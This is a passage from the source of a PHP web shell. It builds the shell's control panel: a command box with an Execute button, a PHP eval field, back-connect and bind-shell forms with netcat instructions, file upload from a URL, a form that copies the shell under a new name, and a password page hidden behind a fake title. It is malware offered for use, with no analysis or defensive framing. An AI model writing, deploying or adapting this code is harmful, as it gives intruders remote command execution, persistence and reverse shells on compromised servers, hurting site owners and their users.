<h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\"  onclick=\"window.location= '?';\"><a href=\"?\">" . $shell_title . "</a></h1>
<div class=\"box\">" . $xHeader . "
<div class=\"fpath\">
" . xdrive() . xparsedir($xCwd) . "
</div>
<div class=\"menu\">
<a href=\"javascript:show('newfile');\"><span class=\"gaul\">[ </span> New File<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newfolder');\"><span class=\"gaul\">[ </span>New Folder<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newchild');\"><span class=\"gaul\">[ </span>Replicate<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newupload');\"><span class=\"gaul\">[ </span>Upload<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShell<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[ </span>PHP Eval<span class=\"gaul\"> ]</span></a>
</div>
<div class=\"hidden\" id=\"newconnect\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:100%;\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
Port <input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"" . $bportC . "\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
</td>
<td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run "nc -l -p " . $bportC . "" and then press Connect</span></td>
</tr>
<tr><td>Listen</td><td>
Port <input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"" . $lportC . "\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
</td>
<td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press "Listen" and then run "nc " . $xServerIP . " " . $lportC . ""</span></td>
</tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfolder\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfile\">
<form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
</td></tr>
</form>
</table>
</div>
<div class=\"hidden\" id=\"newupload\">
<form method=\"post\" action=\"?dir=" . $xCwd . "\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">Save as</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
<tr><td style=\"width:120px;\">From Url</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
<tr><td style=\"width:120px;\">From Computer</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newchild\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"" . $shell_name . ".php\"; />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"div_eval\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td>
<textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
</td></tr><tr>
<td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
</table>
</form>
</div>
<div class=\"bottomwrapper\">
<div class=\"cmdbox\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"dir\" value=\"" . $xCwd . "\" />
<table style=\"width:100%;\"><tr>
<td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
<td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Execute\" /></td></tr></table>
</form>
</div>
<div class=\"result\" id=\"result\">
" . $result . "
</div></div></div></div>
";
        } else {
            $html_title = $shell_fake_name;
            $html_head = "<title>" . $html_title . "</title>" . $shell_style;
            $html_body = "<div style=\"margin:30px;\">
<div>
<form action=\"?\" method=\"post\">
<input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
<input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
</form>
</div>
<div style=\"font-size:10px;\">" . $shell_fake_name . "</div>
</div>
";
        }
        if (isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
        else $html_onload = "";
        $html_final = "<html>
<head>
" . $html_head . "
</head>
<body " . $html_onload . ">
<div id=\"mainwrapper\">
" . $html_body . "
</div>
</body>
</html>";
        echo preg_replace("/\s+/", " ", $html_final);
?>